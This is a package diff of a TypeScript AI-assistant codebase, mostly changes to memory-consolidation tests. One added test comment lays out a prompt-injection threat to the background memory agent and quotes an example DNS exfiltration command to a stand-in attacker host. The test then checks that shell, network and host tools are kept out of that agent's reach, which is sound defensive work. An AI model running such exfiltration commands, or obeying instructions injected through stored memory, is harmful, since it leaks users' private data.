@vellumai/assistant 0.12.2-staging.7 → 0.12.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/docs/architecture/memory.md +2 -11
- package/docs/desktop-browser-cli.md +2 -4
- package/node_modules/@vellumai/environments/src/shell.test.ts +0 -21
- package/node_modules/@vellumai/environments/src/shell.ts +0 -24
- package/node_modules/@vellumai/gateway-client/src/inbound-contract.ts +2 -8
- package/openapi.yaml +2 -6
- package/package.json +1 -1
- package/scripts/smoke-desktop-browser-cli.ts +0 -1
- package/src/__tests__/agent-loop.test.ts +0 -124
- package/src/__tests__/approval-interception-trust-gates.test.ts +0 -40
- package/src/__tests__/channel-approval.test.ts +14 -9
- package/src/__tests__/conversation-agent-loop.test.ts +0 -25
- package/src/__tests__/plugin-import-boundary-guard.test.ts +1 -0
- package/src/__tests__/run-conversation-turn-persistence.test.ts +1 -138
- package/src/__tests__/script-proxy-certs.test.ts +1 -1
- package/src/__tests__/subagent-tool-gate-mode.test.ts +0 -169
- package/src/__tests__/terminal-tools.test.ts +0 -8
- package/src/__tests__/unicode.test.ts +0 -36
- package/src/agent/loop.ts +0 -19
- package/src/api/index.ts +0 -6
- package/src/approvals/approval-primitive.ts +2 -5
- package/src/approvals/scoped-approval-grants.ts +2 -6
- package/src/daemon/__tests__/conversation-tool-setup.test.ts +0 -43
- package/src/daemon/conversation-agent-loop.ts +0 -2
- package/src/daemon/conversation-tool-setup.ts +1 -57
- package/src/daemon/conversation.ts +0 -17
- package/src/daemon/daemon-control.ts +6 -2
- package/src/daemon/orphan-reaper.ts +3 -4
- package/src/daemon/tool-setup-types.ts +0 -6
- package/src/daemon/wake-conversation-ops.ts +15 -38
- package/src/desktop/desktop-automation-lease.test.ts +0 -143
- package/src/desktop/desktop-automation-lease.ts +3 -39
- package/src/messaging/provider-message-metadata.ts +3 -3
- package/src/notifications/__tests__/copy-composer.test.ts +0 -70
- package/src/notifications/copy-composer.ts +3 -11
- package/src/oauth/seed-providers.ts +30 -0
- package/src/persistence/conversation-plugin-facade.ts +0 -13
- package/src/persistence/schema/index.ts +0 -1
- package/src/persistence/steps.ts +0 -2
- package/src/plugin-api/conversation-turn.ts +7 -31
- package/src/plugin-api/index.ts +1 -9
- package/src/plugins/defaults/memory/AGENTS.md +2 -14
- package/src/plugins/defaults/memory/__tests__/buffer-format.test.ts +0 -43
- package/src/plugins/defaults/memory/__tests__/memory-retrospective-job.test.ts +0 -46
- package/src/plugins/defaults/memory/buffer-format.ts +0 -40
- package/src/plugins/defaults/memory/context-search/agent-runner.ts +2 -1
- package/src/plugins/defaults/memory/context-search/format.ts +1 -2
- package/src/plugins/defaults/memory/context-search/sources/memory-v2.ts +1 -2
- package/src/plugins/defaults/memory/context-search/sources/workspace.ts +1 -2
- package/src/plugins/defaults/memory/graph/capability-seed.ts +2 -1
- package/src/plugins/defaults/memory/graph/tool-handlers.ts +42 -1
- package/src/plugins/defaults/memory/host-utils.ts +10 -0
- package/src/plugins/defaults/memory/injectors.ts +3 -4
- package/src/plugins/defaults/memory/memory-retrospective-job.ts +181 -55
- package/src/plugins/defaults/memory/substrate/__tests__/consolidation-job.test.ts +99 -407
- package/src/plugins/defaults/memory/substrate/__tests__/consolidation-prompt-flag-gating-guard.test.ts +0 -10
- package/src/plugins/defaults/memory/substrate/__tests__/prompts-consolidation.test.ts +7 -107
- package/src/plugins/defaults/memory/substrate/consolidation-job.ts +86 -307
- package/src/plugins/defaults/memory/substrate/page-index.ts +1 -2
- package/src/plugins/defaults/memory/substrate/prompts/consolidation.ts +49 -89
- package/src/plugins/defaults/memory/substrate/sweep-job.ts +1 -1
- package/src/plugins/defaults/memory/tools.ts +1 -1
- package/src/plugins/defaults/memory/v1/graph/consolidation.ts +2 -2
- package/src/plugins/defaults/memory/v1/graph/extraction.ts +1 -2
- package/src/plugins/defaults/memory/v1/graph/retriever.ts +1 -1
- package/src/plugins/defaults/memory/v2/__tests__/migration.test.ts +0 -5
- package/src/plugins/defaults/memory/v2/__tests__/reranker.test.ts +2 -5
- package/src/plugins/defaults/memory/v2/reranker.ts +1 -2
- package/src/plugins/defaults/memory/v3/__tests__/injection.test.ts +1 -81
- package/src/plugins/defaults/memory/v3/__tests__/orchestrate.test.ts +0 -87
- package/src/plugins/defaults/memory/v3/__tests__/shadow-plugin.test.ts +0 -21
- package/src/plugins/defaults/memory/v3/card.ts +1 -2
- package/src/plugins/defaults/memory/v3/injector.ts +178 -212
- package/src/plugins/defaults/memory/v3/orchestrate.ts +22 -86
- package/src/plugins/defaults/memory/v3/pool-select.ts +7 -10
- package/src/plugins/defaults/memory/v3/sections.ts +1 -2
- package/src/plugins/defaults/memory/v3/shadow-plugin.ts +1 -10
- package/src/plugins/defaults/tool-result-truncate/terminal.ts +46 -1
- package/src/runtime/AGENTS.md +1 -1
- package/src/runtime/__tests__/agent-wake.test.ts +1 -86
- package/src/runtime/agent-wake.ts +4 -20
- package/src/runtime/guardian-action-service.ts +17 -2
- package/src/runtime/guardian-reply-router.ts +8 -1
- package/src/runtime/routes/channel-route-shared.ts +9 -1
- package/src/runtime/routes/desktop-setup-routes.test.ts +2 -2
- package/src/runtime/routes/desktop-setup-routes.ts +3 -7
- package/src/runtime/routes/guardian-approval-interception.ts +0 -24
- package/src/runtime/routes/inbound-message-handler.ts +3 -2
- package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +1 -1
- package/src/runtime/routes/inbound-stages/background-dispatch.ts +4 -7
- package/src/schedule/run-script.ts +2 -2
- package/src/tools/host-terminal/host-shell.ts +6 -12
- package/src/tools/shared/filesystem/file-ops-service.ts +31 -1
- package/src/tools/shared/shell-output.test.ts +0 -10
- package/src/tools/shared/shell-output.ts +2 -14
- package/src/tools/skills/sandbox-runner.ts +2 -13
- package/src/tools/skills/scaffold-managed.ts +1 -2
- package/src/tools/terminal/__tests__/safe-env.test.ts +0 -29
- package/src/tools/terminal/safe-env.ts +1 -30
- package/src/tools/terminal/sanitized-bash.ts +2 -15
- package/src/tools/terminal/shell.test.ts +0 -29
- package/src/tools/terminal/shell.ts +7 -13
- package/src/util/host-process.test.ts +1 -17
- package/src/util/host-process.ts +0 -24
- package/src/util/unicode.ts +0 -29
- package/src/__tests__/db-conversation-tool-surface.test.ts +0 -144
- package/src/api/events/desktop-activity-changed.ts +0 -10
- package/src/persistence/conversation-tool-surface.ts +0 -86
- package/src/persistence/migrations/378-create-conversation-tool-surfaces.test.ts +0 -78
- package/src/persistence/migrations/378-create-conversation-tool-surfaces.ts +0 -29
- package/src/persistence/schema/conversation-tool-surfaces.ts +0 -22
- package/src/plugin-api/plugin-channel-turn-trust.test.ts +0 -133
- package/src/plugin-api/plugin-channel-turn-trust.ts +0 -71
- package/src/plugins/defaults/memory/__tests__/buffer-file.test.ts +0 -320
- package/src/plugins/defaults/memory/__tests__/fixtures/buffer-appender.ts +0 -17
- package/src/plugins/defaults/memory/__tests__/memory-run-evidence.test.ts +0 -161
- package/src/plugins/defaults/memory/buffer-file.ts +0 -354
- package/src/plugins/defaults/memory/memory-run-evidence.ts +0 -213
- package/src/plugins/defaults/memory/substrate/consolidation-tool-surface.ts +0 -34
- package/src/tools/terminal/shell-launch.test.ts +0 -162
|
@@ -11,12 +11,8 @@
|
|
|
11
11
|
* - Runner returns ok=false → run_failed surfaced; NO follow-up jobs;
|
|
12
12
|
* `emitNotificationSignal` was NOT called as a result of the failure
|
|
13
13
|
* (suppression is honored end-to-end).
|
|
14
|
-
* -
|
|
15
|
-
*
|
|
16
|
-
* verified page write; entries appended during the run and entries
|
|
17
|
-
* deferred past the cap survive. A run with no verified write returns
|
|
18
|
-
* `invoked` with `noProgress: true`, leaves the buffer intact, and
|
|
19
|
-
* enqueues no follow-ups.
|
|
14
|
+
* - Progress check: a run that leaves the buffer un-shrunk returns
|
|
15
|
+
* `invoked` with `noProgress: true` and enqueues no follow-ups.
|
|
20
16
|
* - Follow-up coalescing: a pending job of a follow-up type suppresses
|
|
21
17
|
* that enqueue (the pending row already covers it).
|
|
22
18
|
* - Consecutive-failure state: failed runs increment the durable
|
|
@@ -29,12 +25,9 @@
|
|
|
29
25
|
* content uses generic placeholders (Alice).
|
|
30
26
|
*/
|
|
31
27
|
import {
|
|
32
|
-
appendFileSync,
|
|
33
|
-
chmodSync,
|
|
34
28
|
existsSync,
|
|
35
29
|
mkdirSync,
|
|
36
30
|
mkdtempSync,
|
|
37
|
-
readFileSync,
|
|
38
31
|
rmSync,
|
|
39
32
|
writeFileSync,
|
|
40
33
|
} from "node:fs";
|
|
@@ -50,8 +43,6 @@ import {
|
|
|
50
43
|
test,
|
|
51
44
|
} from "bun:test";
|
|
52
45
|
|
|
53
|
-
import { CONSOLIDATION_ALLOWED_TOOLS } from "../consolidation-tool-surface.js";
|
|
54
|
-
|
|
55
46
|
// ── runBackgroundJob mock ───────────────────────────────────────────
|
|
56
47
|
//
|
|
57
48
|
// The consolidation handler delegates the bootstrap + processMessage +
|
|
@@ -61,13 +52,18 @@ import { CONSOLIDATION_ALLOWED_TOOLS } from "../consolidation-tool-surface.js";
|
|
|
61
52
|
// + trustContext + origin match what the consolidation surface expects.
|
|
62
53
|
let runnerCalls = 0;
|
|
63
54
|
let runnerLastArgs: Record<string, unknown> | null = null;
|
|
64
|
-
// Default stub: a successful run
|
|
65
|
-
// handler
|
|
66
|
-
// a
|
|
67
|
-
|
|
55
|
+
// Default stub: a successful run in which the agent drained the buffer — the
|
|
56
|
+
// handler's progress check compares buffer line counts before and after the
|
|
57
|
+
// run, so a stub that never touched buffer.md would register every success as
|
|
58
|
+
// no-progress. No-progress tests override this with an impl that leaves the
|
|
59
|
+
// buffer as-is (or grows it).
|
|
60
|
+
const runnerTrimsBuffer = async (): Promise<{
|
|
68
61
|
conversationId: string;
|
|
69
62
|
ok: boolean;
|
|
70
|
-
}> =>
|
|
63
|
+
}> => {
|
|
64
|
+
writeFileSync(bufferPath(), "");
|
|
65
|
+
return { conversationId: "conv-1", ok: true };
|
|
66
|
+
};
|
|
71
67
|
let runnerImpl: () => Promise<{
|
|
72
68
|
conversationId: string;
|
|
73
69
|
ok: boolean;
|
|
@@ -75,41 +71,7 @@ let runnerImpl: () => Promise<{
|
|
|
75
71
|
errorKind?: string;
|
|
76
72
|
failureCode?: string;
|
|
77
73
|
skipReason?: string;
|
|
78
|
-
}> =
|
|
79
|
-
|
|
80
|
-
// ── plugin-api mock: the run's persisted messages ──────────────────
|
|
81
|
-
//
|
|
82
|
-
// The consume gate reads the run conversation's messages for a page-writing
|
|
83
|
-
// tool call whose result is not an error and for a closing reply as the
|
|
84
|
-
// final row. `runMessages` is what that read returns; the default is one
|
|
85
|
-
// successful `file_write` followed by the pass summary.
|
|
86
|
-
type RunMessage = { role: string; content: unknown[] };
|
|
87
|
-
const FILED_ONE_PAGE: RunMessage[] = [
|
|
88
|
-
{
|
|
89
|
-
role: "assistant",
|
|
90
|
-
content: [
|
|
91
|
-
{ type: "tool_use", id: "t1", name: "file_write", input: { path: "x" } },
|
|
92
|
-
],
|
|
93
|
-
},
|
|
94
|
-
{
|
|
95
|
-
role: "user",
|
|
96
|
-
content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
|
|
97
|
-
},
|
|
98
|
-
{
|
|
99
|
-
role: "assistant",
|
|
100
|
-
content: [{ type: "text", text: "Filed both entries into alice.md." }],
|
|
101
|
-
},
|
|
102
|
-
];
|
|
103
|
-
let runMessages: RunMessage[] = FILED_ONE_PAGE;
|
|
104
|
-
let messagesRequestedFor: string[] = [];
|
|
105
|
-
const realPluginApi = await import("@vellumai/plugin-api");
|
|
106
|
-
mock.module("@vellumai/plugin-api", () => ({
|
|
107
|
-
...realPluginApi,
|
|
108
|
-
getMessages: async (conversationId: string) => {
|
|
109
|
-
messagesRequestedFor.push(conversationId);
|
|
110
|
-
return runMessages;
|
|
111
|
-
},
|
|
112
|
-
}));
|
|
74
|
+
}> = runnerTrimsBuffer;
|
|
113
75
|
|
|
114
76
|
mock.module("../../../../../runtime/background-job-runner.js", () => ({
|
|
115
77
|
runBackgroundJob: async (opts: Record<string, unknown>) => {
|
|
@@ -235,8 +197,7 @@ const { memoryV2ConsolidateJob, CONSOLIDATION_FAILURE_CHECKPOINT_KEY } =
|
|
|
235
197
|
const { CUTOFF_PLACEHOLDER, CONSOLIDATION_PROMPT } =
|
|
236
198
|
await import("../prompts/consolidation.js");
|
|
237
199
|
const { invalidatePageIndex } = await import("../page-index.js");
|
|
238
|
-
const {
|
|
239
|
-
await import("../../buffer-format.js");
|
|
200
|
+
const { formatRememberEntry } = await import("../../buffer-format.js");
|
|
240
201
|
|
|
241
202
|
// The handler only reads `config.memory.enabled`, `config.memory.v2.enabled`,
|
|
242
203
|
// `config.memory.v2.consolidation_prompt_path`, and
|
|
@@ -309,9 +270,7 @@ beforeEach(() => {
|
|
|
309
270
|
|
|
310
271
|
runnerCalls = 0;
|
|
311
272
|
runnerLastArgs = null;
|
|
312
|
-
runnerImpl =
|
|
313
|
-
runMessages = FILED_ONE_PAGE;
|
|
314
|
-
messagesRequestedFor = [];
|
|
273
|
+
runnerImpl = runnerTrimsBuffer;
|
|
315
274
|
emitCalls.length = 0;
|
|
316
275
|
enqueuedJobs.length = 0;
|
|
317
276
|
nextJobIdCounter = 0;
|
|
@@ -350,21 +309,6 @@ describe("memoryV2ConsolidateJob — chunked cutoff (consolidation_max_entries_p
|
|
|
350
309
|
expect(outcome.deferredEntries).toBe(2);
|
|
351
310
|
expect(runnerCalls).toBe(1);
|
|
352
311
|
expect(runnerLastArgs!.prompt as string).toContain("Apr 27, 9:03 AM");
|
|
353
|
-
// The pass is the first three entries, verbatim, and the job removed
|
|
354
|
-
// exactly them; the two deferred entries are still in the buffer.
|
|
355
|
-
const prompt = runnerLastArgs!.prompt as string;
|
|
356
|
-
expect(prompt).toContain(
|
|
357
|
-
"<buffer_entries>\n" +
|
|
358
|
-
"- [Apr 27, 9:00 AM] Alice prefers VS Code.\n" +
|
|
359
|
-
"- [Apr 27, 9:01 AM] Bob takes his coffee black.\n" +
|
|
360
|
-
"- [Apr 27, 9:02 AM] Carol loves jazz.\n" +
|
|
361
|
-
"</buffer_entries>",
|
|
362
|
-
);
|
|
363
|
-
expect(outcome.consumedEntries).toBe(3);
|
|
364
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe(
|
|
365
|
-
"- [Apr 27, 9:03 AM] Dave runs marathons.\n" +
|
|
366
|
-
"- [Apr 27, 9:04 AM] Erin paints watercolors.\n",
|
|
367
|
-
);
|
|
368
312
|
});
|
|
369
313
|
|
|
370
314
|
test("buffer at or under the cap → full-buffer cutoff, nothing deferred", async () => {
|
|
@@ -650,13 +594,6 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
|
|
|
650
594
|
// Cutoff is a buffer-entry-format timestamp (`Mon D, h:mm AM/PM`) so it
|
|
651
595
|
// compares like-with-like against `buffer.md` lines at minute precision.
|
|
652
596
|
expect(prompt).toMatch(/\b[A-Z][a-z]{2} \d{1,2}, \d{1,2}:\d{2} (AM|PM)\b/);
|
|
653
|
-
// The pass's entries ride in the prompt itself, verbatim.
|
|
654
|
-
expect(prompt).toContain(
|
|
655
|
-
"<buffer_entries>\n" +
|
|
656
|
-
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
657
|
-
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n" +
|
|
658
|
-
"</buffer_entries>",
|
|
659
|
-
);
|
|
660
597
|
});
|
|
661
598
|
|
|
662
599
|
test("threads page-index parse failures into the prompt's repair step", async () => {
|
|
@@ -714,16 +651,57 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
|
|
|
714
651
|
expect(runnerLastArgs?.skipPromptIndexing).toBe(true);
|
|
715
652
|
});
|
|
716
653
|
|
|
717
|
-
test("wire-scopes the run to
|
|
718
|
-
//
|
|
719
|
-
//
|
|
720
|
-
//
|
|
721
|
-
//
|
|
722
|
-
//
|
|
654
|
+
test("wire-scopes the run to local memory-file tools — no network egress or host tools", async () => {
|
|
655
|
+
// Security: the consolidation run is guardian-trust + non-interactive, so
|
|
656
|
+
// the permission checker auto-approves any tool within the background
|
|
657
|
+
// threshold (a public web_fetch classifies Low). The run must therefore be
|
|
658
|
+
// handed an explicit allowlist that excludes every egress/host tool, so
|
|
659
|
+
// prompt injection embedded in buffer/page content cannot exfiltrate
|
|
660
|
+
// memory over an auto-approved channel. Wire gate mode (the default) means
|
|
661
|
+
// the excluded tools are never even presented to the model.
|
|
723
662
|
await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
724
663
|
|
|
725
664
|
expect(runnerCalls).toBe(1);
|
|
726
|
-
|
|
665
|
+
const allowed = runnerLastArgs?.allowedTools as string[] | undefined;
|
|
666
|
+
expect(allowed).toBeDefined();
|
|
667
|
+
const allowedSet = new Set(allowed);
|
|
668
|
+
|
|
669
|
+
// The local file-reorganization surface the pass actually uses. Page
|
|
670
|
+
// removal goes through `delete_memory_page` (slug-scoped, no egress), NOT
|
|
671
|
+
// a general shell.
|
|
672
|
+
for (const tool of [
|
|
673
|
+
"file_read",
|
|
674
|
+
"file_write",
|
|
675
|
+
"file_edit",
|
|
676
|
+
"file_list",
|
|
677
|
+
"code_search",
|
|
678
|
+
"delete_memory_page",
|
|
679
|
+
"recall",
|
|
680
|
+
]) {
|
|
681
|
+
expect(allowedSet.has(tool)).toBe(true);
|
|
682
|
+
}
|
|
683
|
+
|
|
684
|
+
// `bash` must NOT be reachable: a shell reopens the egress channel this
|
|
685
|
+
// allowlist closes (`dig <secret>.attacker.example` classifies Low and
|
|
686
|
+
// auto-approves in this background context). Network egress + host-proxy
|
|
687
|
+
// tools stay out for the same reason.
|
|
688
|
+
for (const tool of [
|
|
689
|
+
"bash",
|
|
690
|
+
"web_fetch",
|
|
691
|
+
"web_search",
|
|
692
|
+
"network_request",
|
|
693
|
+
"host_bash",
|
|
694
|
+
"host_file_read",
|
|
695
|
+
"host_file_write",
|
|
696
|
+
"host_file_edit",
|
|
697
|
+
"host_cu",
|
|
698
|
+
]) {
|
|
699
|
+
expect(allowedSet.has(tool)).toBe(false);
|
|
700
|
+
}
|
|
701
|
+
// Belt-and-suspenders: nothing host-prefixed slipped in.
|
|
702
|
+
expect((allowed ?? []).some((t) => t.startsWith("host_"))).toBe(false);
|
|
703
|
+
// Gate mode is left at the default ("wire") so excluded tools are filtered
|
|
704
|
+
// off the wire, not merely rejected at execution time.
|
|
727
705
|
expect(runnerLastArgs?.toolGateMode).toBeUndefined();
|
|
728
706
|
});
|
|
729
707
|
|
|
@@ -796,7 +774,7 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
|
|
|
796
774
|
await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
797
775
|
expect(runnerLastArgs?.prompt as string).not.toContain("core-pages");
|
|
798
776
|
|
|
799
|
-
// The first run
|
|
777
|
+
// The first run's stub drained the buffer — refill it so the second
|
|
800
778
|
// invocation doesn't bail at the empty-buffer gate.
|
|
801
779
|
writeFileSync(bufferPath(), "- [Apr 27, 9:10 AM] Alice refactored.\n");
|
|
802
780
|
v3FlagOn = true;
|
|
@@ -849,16 +827,16 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
|
|
|
849
827
|
});
|
|
850
828
|
});
|
|
851
829
|
|
|
852
|
-
describe("memoryV2ConsolidateJob
|
|
853
|
-
const TWO_ENTRIES =
|
|
854
|
-
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
855
|
-
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n";
|
|
856
|
-
|
|
830
|
+
describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", () => {
|
|
857
831
|
beforeEach(() => {
|
|
858
|
-
writeFileSync(
|
|
832
|
+
writeFileSync(
|
|
833
|
+
bufferPath(),
|
|
834
|
+
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
835
|
+
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
|
|
836
|
+
);
|
|
859
837
|
});
|
|
860
838
|
|
|
861
|
-
test("a
|
|
839
|
+
test("a drained buffer reports progress and enqueues follow-ups", async () => {
|
|
862
840
|
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
863
841
|
|
|
864
842
|
expect(result.kind).toBe("invoked");
|
|
@@ -866,22 +844,16 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
|
|
|
866
844
|
throw new Error("unreachable");
|
|
867
845
|
}
|
|
868
846
|
expect(result.noProgress).toBe(false);
|
|
869
|
-
expect(result.consumedEntries).toBe(2);
|
|
870
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe("");
|
|
871
|
-
expect(messagesRequestedFor).toEqual(["conv-1"]);
|
|
872
847
|
expect(result.followUpJobIds).toEqual(["job-1"]);
|
|
873
848
|
expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
|
|
874
849
|
});
|
|
875
850
|
|
|
876
|
-
test("
|
|
877
|
-
// The specimen: remember() lands mid-run, after the snapshot. The run
|
|
878
|
-
// never saw it, so it must not be consumed with the pass.
|
|
879
|
-
const midRun = formatRememberEntry(
|
|
880
|
-
"Bob joined the standup.",
|
|
881
|
-
new Date(2026, 3, 27, 9, 6),
|
|
882
|
-
);
|
|
851
|
+
test("a partially trimmed buffer counts as progress", async () => {
|
|
883
852
|
runnerImpl = async () => {
|
|
884
|
-
|
|
853
|
+
writeFileSync(
|
|
854
|
+
bufferPath(),
|
|
855
|
+
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
|
|
856
|
+
);
|
|
885
857
|
return { conversationId: "conv-1", ok: true };
|
|
886
858
|
};
|
|
887
859
|
|
|
@@ -892,40 +864,14 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
|
|
|
892
864
|
throw new Error("unreachable");
|
|
893
865
|
}
|
|
894
866
|
expect(result.noProgress).toBe(false);
|
|
895
|
-
expect(
|
|
896
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe(midRun);
|
|
897
|
-
expect(runnerLastArgs?.prompt as string).not.toContain(
|
|
898
|
-
"Bob joined the standup.",
|
|
899
|
-
);
|
|
867
|
+
expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
|
|
900
868
|
});
|
|
901
869
|
|
|
902
|
-
test("
|
|
903
|
-
// The
|
|
904
|
-
//
|
|
905
|
-
//
|
|
906
|
-
|
|
907
|
-
{
|
|
908
|
-
role: "assistant",
|
|
909
|
-
content: [
|
|
910
|
-
{ type: "tool_use", id: "t1", name: "file_write", input: {} },
|
|
911
|
-
],
|
|
912
|
-
},
|
|
913
|
-
{
|
|
914
|
-
role: "user",
|
|
915
|
-
content: [
|
|
916
|
-
{
|
|
917
|
-
type: "tool_result",
|
|
918
|
-
tool_use_id: "t1",
|
|
919
|
-
is_error: true,
|
|
920
|
-
content: "EACCES",
|
|
921
|
-
},
|
|
922
|
-
],
|
|
923
|
-
},
|
|
924
|
-
{
|
|
925
|
-
role: "assistant",
|
|
926
|
-
content: [{ type: "text", text: "Nothing to file." }],
|
|
927
|
-
},
|
|
928
|
-
];
|
|
870
|
+
test("an unchanged buffer reports noProgress and skips all follow-ups", async () => {
|
|
871
|
+
// The runner completes ok but never touches buffer.md — the stuck-agent
|
|
872
|
+
// shape: without the progress check the size trigger would re-fire and
|
|
873
|
+
// every re-fire would fan out another reembed.
|
|
874
|
+
runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
|
|
929
875
|
|
|
930
876
|
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
931
877
|
|
|
@@ -934,148 +880,18 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
|
|
|
934
880
|
throw new Error("unreachable");
|
|
935
881
|
}
|
|
936
882
|
expect(result.noProgress).toBe(true);
|
|
937
|
-
expect(result.consumedEntries).toBe(0);
|
|
938
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
939
883
|
expect(result.followUpJobIds).toEqual([]);
|
|
940
884
|
expect(enqueuedJobs).toHaveLength(0);
|
|
941
885
|
});
|
|
942
886
|
|
|
943
|
-
test("a
|
|
944
|
-
// A repair-step page fix satisfies the write half of the gate; the run
|
|
945
|
-
// then ends on a tool call with no closing reply. It never filed its
|
|
946
|
-
// pass, so the pass stays.
|
|
947
|
-
runMessages = [
|
|
948
|
-
{
|
|
949
|
-
role: "assistant",
|
|
950
|
-
content: [
|
|
951
|
-
{ type: "tool_use", id: "t1", name: "file_write", input: {} },
|
|
952
|
-
],
|
|
953
|
-
},
|
|
954
|
-
{
|
|
955
|
-
role: "user",
|
|
956
|
-
content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
|
|
957
|
-
},
|
|
958
|
-
{
|
|
959
|
-
role: "assistant",
|
|
960
|
-
content: [{ type: "tool_use", id: "t2", name: "file_read", input: {} }],
|
|
961
|
-
},
|
|
962
|
-
{
|
|
963
|
-
role: "user",
|
|
964
|
-
content: [{ type: "tool_result", tool_use_id: "t2", content: "..." }],
|
|
965
|
-
},
|
|
966
|
-
];
|
|
967
|
-
|
|
968
|
-
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
969
|
-
|
|
970
|
-
expect(result.kind).toBe("invoked");
|
|
971
|
-
if (result.kind !== "invoked") {
|
|
972
|
-
throw new Error("unreachable");
|
|
973
|
-
}
|
|
974
|
-
expect(result.noProgress).toBe(true);
|
|
975
|
-
expect(result.consumedEntries).toBe(0);
|
|
976
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
977
|
-
expect(enqueuedJobs).toHaveLength(0);
|
|
978
|
-
});
|
|
979
|
-
|
|
980
|
-
test("narration on the row that called the tool does not count as concluding", async () => {
|
|
981
|
-
// The model said "fixing that page now", called file_write, and the run
|
|
982
|
-
// stopped after the result. Text on a tool-call row is not the closing
|
|
983
|
-
// reply; the pass stays.
|
|
984
|
-
runMessages = [
|
|
985
|
-
{
|
|
986
|
-
role: "assistant",
|
|
987
|
-
content: [
|
|
988
|
-
{ type: "text", text: "Fixing that page now." },
|
|
989
|
-
{ type: "tool_use", id: "t1", name: "file_write", input: {} },
|
|
990
|
-
],
|
|
991
|
-
},
|
|
992
|
-
{
|
|
993
|
-
role: "user",
|
|
994
|
-
content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
|
|
995
|
-
},
|
|
996
|
-
];
|
|
997
|
-
|
|
998
|
-
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
999
|
-
|
|
1000
|
-
expect(result.kind).toBe("invoked");
|
|
1001
|
-
if (result.kind !== "invoked") {
|
|
1002
|
-
throw new Error("unreachable");
|
|
1003
|
-
}
|
|
1004
|
-
expect(result.noProgress).toBe(true);
|
|
1005
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
1006
|
-
});
|
|
1007
|
-
|
|
1008
|
-
test("only page-writing tools count as evidence", async () => {
|
|
1009
|
-
runMessages = [
|
|
1010
|
-
{
|
|
1011
|
-
role: "assistant",
|
|
1012
|
-
content: [
|
|
1013
|
-
{ type: "tool_use", id: "t1", name: "file_read", input: {} },
|
|
1014
|
-
{ type: "tool_use", id: "t2", name: "recall", input: {} },
|
|
1015
|
-
],
|
|
1016
|
-
},
|
|
1017
|
-
{
|
|
1018
|
-
role: "user",
|
|
1019
|
-
content: [
|
|
1020
|
-
{ type: "tool_result", tool_use_id: "t1", content: "..." },
|
|
1021
|
-
{ type: "tool_result", tool_use_id: "t2", content: "..." },
|
|
1022
|
-
],
|
|
1023
|
-
},
|
|
1024
|
-
{
|
|
1025
|
-
role: "assistant",
|
|
1026
|
-
content: [{ type: "text", text: "Read everything, filed nothing." }],
|
|
1027
|
-
},
|
|
1028
|
-
];
|
|
1029
|
-
|
|
1030
|
-
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1031
|
-
|
|
1032
|
-
expect(result.kind).toBe("invoked");
|
|
1033
|
-
if (result.kind !== "invoked") {
|
|
1034
|
-
throw new Error("unreachable");
|
|
1035
|
-
}
|
|
1036
|
-
expect(result.noProgress).toBe(true);
|
|
1037
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
1038
|
-
});
|
|
1039
|
-
|
|
1040
|
-
test("a failed run leaves the buffer intact for the next pass", async () => {
|
|
1041
|
-
runnerImpl = async () => ({
|
|
1042
|
-
conversationId: "conv-1",
|
|
1043
|
-
ok: false,
|
|
1044
|
-
error: new Error("timed out"),
|
|
1045
|
-
errorKind: "timeout",
|
|
1046
|
-
});
|
|
1047
|
-
|
|
1048
|
-
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1049
|
-
|
|
1050
|
-
expect(result.kind).toBe("run_failed");
|
|
1051
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
1052
|
-
expect(messagesRequestedFor).toEqual([]);
|
|
1053
|
-
});
|
|
1054
|
-
|
|
1055
|
-
test("a skipped run consumes nothing and reads no evidence", async () => {
|
|
1056
|
-
runnerImpl = async () => ({
|
|
1057
|
-
conversationId: "",
|
|
1058
|
-
ok: true,
|
|
1059
|
-
skipReason: "pre_first_user_message",
|
|
1060
|
-
});
|
|
1061
|
-
|
|
1062
|
-
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1063
|
-
|
|
1064
|
-
expect(result.kind).toBe("invoked");
|
|
1065
|
-
if (result.kind !== "invoked") {
|
|
